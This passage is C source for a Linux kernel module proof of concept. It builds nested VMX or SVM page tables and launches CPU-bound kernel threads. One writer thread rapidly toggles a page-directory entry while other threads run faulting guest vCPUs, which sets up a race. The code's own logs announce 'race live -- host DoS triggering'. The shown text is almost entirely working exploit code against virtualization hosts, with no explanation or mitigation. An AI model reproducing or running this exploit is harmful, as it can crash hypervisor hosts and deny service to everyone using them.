        *(u64 *)(lb + GDT_G + 0x18) = 0x00008900D0000067ULL;
        *(u64 *)(lb + GDT_G + 0x20) = 0;

        if (!amd)
                for (i = 0; i < NPRESS; i++) {
                        u64 a;
                        u64 *pm = apg(&a), *pp, *pdp, *p0, *pt;
                        u64 ppa, pda, pt0a, ptta;
                        int j;
                        pp = apg(&ppa);
                        if (!pm || !pp)
                                break;
                        pm[0] = ppa | EPT_TBL;
                        pdp = apg(&pda);
                        if (!pdp)
                                break;
                        pp[0] = pda | EPT_TBL;
                        p0 = apg(&pt0a);
                        pt = apg(&ptta);
                        if (!p0 || !pt)
                                break;
                        pdp[0] = pt0a | EPT_TBL;
                        pdp[PDE_IDX] = ptta | EPT_TBL;
                        for (j = 0; j < 512; j++) {
                                p0[j] = (low_pa + (u64)j * 0x1000) | EPT_LEAF;
                                pt[j] = (greg_pa + (u64)j * 0x1000) | EPT_LEAF;
                        }
                        press_root[i] = a | 0x1eULL;
                }
        pr_info("poc[%s]: world built root=%llx greg=%llx q=%llx (S.gfn=%llx prime_gfn=%llx q_gfn=%llx)\n",
                ops->name, the_root, greg_pa, q_pa, greg_pa >> 12,
                (greg_pa >> 12) + PRIME_IDX, q_pa >> 12);
        return 0;
}

static void park_until_stop(void)
{
        while (!kthread_should_stop())
                msleep(50);
}

static int kthr(void *arg)
{
        int cpu = (int)(long)arg;
        if (ops->cpu_on(cpu) == 0) {
                if (role_of[cpu] == R_WRITER) {
                        unsigned long w = 0;
                        unsigned long deadline =
                                jiffies + msecs_to_jiffies(run_ms);
                        writer_ready = 1;
                        pr_info("poc[%s]: writer live cpu%d dwell=%d run_ms=%d\n",
                                ops->name, cpu, dwell, run_ms);
                        while (!stop_all) {
                                volatile int k;
                                nest_pd[PDE_IDX] = ops->huge_pte(greg_pa);
                                for (k = 0; k < dwell; k++)
                                        cpu_relax();
                                nest_pd[PDE_IDX] = ops->tbl_pte(ptg_pa);
                                for (k = 0; k < dwell; k++)
                                        cpu_relax();
                                if (((++w) & 0x3ff) == 0 && run_ms > 0 &&
                                    time_after(jiffies, deadline)) {
                                        pr_info("poc[%s]: writer deadline (writes=%lu race=%lu svm_exits=%lu) -> 
stop\n",
                                                ops->name, w, race_loops,
                                                svm_exits);
                                        stop_all = 1;
                                        break;
                                }
                                if ((w % 2000000) == 0)
                                        pr_info("poc[%s]: writes=%lu race=%lu svm_exits=%lu\n",
                                                ops->name, w, race_loops,
                                                svm_exits);
                        }
                } else {
                        ops->vcpu_run(cpu);
                }
                ops->cpu_off();
        }
        park_until_stop();
        return 0;
}

static int virt_supported(int want_amd)
{
        u32 a, b, c, d;
        if (want_amd) {
                a = 0x80000001;
                asm volatile("cpuid"
                             : "=a"(a), "=b"(b), "=c"(c), "=d"(d)
                             : "0"(a), "2"(0));
                return !!(c & (1u << 2));
        }
        a = 1;
        asm volatile("cpuid"
                     : "=a"(a), "=b"(b), "=c"(c), "=d"(d)
                     : "0"(a), "2"(0));
        return !!(c & (1u << 5));
}

static int __init m_init(void)
{
        int cpu, online = num_online_cpus(), used;
        void *bmp;
        ops = amd ? &svm_ops : &vmx_ops;
        pr_info("poc: backend=%s (amd=%d) nvcpu=%d online=%d run_ms=%d  [rmmod %s first!]\n",
                ops->name, amd, nvcpu, online, run_ms,
                amd ? "kvm_amd" : "kvm_intel");
        if (!virt_supported(amd)) {
                pr_err("poc: CPU lacks %s -> abort (use %s, or run on matching host)\n",
                       amd ? "SVM" : "VMX",
                       amd ? "amd=0 on Intel" : "amd=1 on AMD");
                return -ENODEV;
        }
        pr_info("[*] poc step 1/4: backend=%s ready (rmmod %s done)\n",
                ops->name, amd ? "kvm_amd" : "kvm_intel");
        if (amd) {
                ncode[13] = 0x0f;
                ncode[14] = 0x01;
                ncode[15] = 0xd9;
        }
        if (diag) {
                if (!amd)
                        pr_info("poc: DIAG VMX BASIC=%llx EPT_VPID=%llx\n",
                                rdmsr_(0x480), rdmsr_(0x48c));
                else
                        pr_info("poc: DIAG SVM EFER=%llx VM_CR=%llx\n",
                                rdmsr_(MSR_EFER), rdmsr_(0xc0010114));
        }
        if (build_world()) {
                pr_err("poc: build fail\n");
                free_pgs();
                return -ENOMEM;
        }
        pr_info("[*] poc step 2/4: nested page tables + L3 guest image built\n");
        bmp = apg(&msr_bmp_pa);
        if (bmp)
                memset(bmp, 0xff, 4096);
        if (amd) {
                void *a = apg_order(2, &iopm_pa);
                void *b = apg_order(1, &msrpm_pa);
                if (!a || !b) {
                        pr_err("poc: iopm/msrpm alloc fail\n");
                        free_pgs();
                        return -ENOMEM;
                }
        }
        for (cpu = 0; cpu < online && cpu < NR_CPUS; cpu++) {
                void *s = apg(NULL);
                host_stk[cpu] = (u64)(unsigned long)((char *)s + 0xff0);
        }
        used = min(nvcpu, online);
        for (cpu = 0; cpu < used; cpu++)
                role_of[cpu] = (cpu == 0)              ? R_WRITER :
                               (cpu <= nflood && !amd) ? R_FLOOD :
                                                         R_FAULT;
        pr_info("[*] poc step 3/4: launching %d kthreads (1 writer + %d faulters)\n",
                used, used - 1 - (amd ? 0 : nflood));
        for (cpu = 0; cpu < used; cpu++) {
                threads[cpu] =
                        kthread_create(kthr, (void *)(long)cpu, "poc_%d", cpu);
                if (!IS_ERR(threads[cpu])) {
                        kthread_bind(threads[cpu], cpu);
                        wake_up_process(threads[cpu]);
                }
        }
        pr_info("poc[%s]: %d kthreads launched (1 writer + %d flood + %d faulters); race live\n",
                ops->name, used, amd ? 0 : nflood,
                used - 1 - (amd ? 0 : nflood));
        pr_info("[*] poc step 4/4: race live -- host DoS triggering\n");
        return 0;
}
static void __exit m_exit(void)
{
        int c;
        stop_all = 1;
        msleep(200);
        for (c = 0; c < NR_CPUS; c++)
                if (threads[c] && !IS_ERR(threads[c]))
                        kthread_stop(threads[c]);
        free_pgs();
        pr_info("poc: unloaded\n");
}
module_init(m_init);
module_exit(m_exit);


Current thread: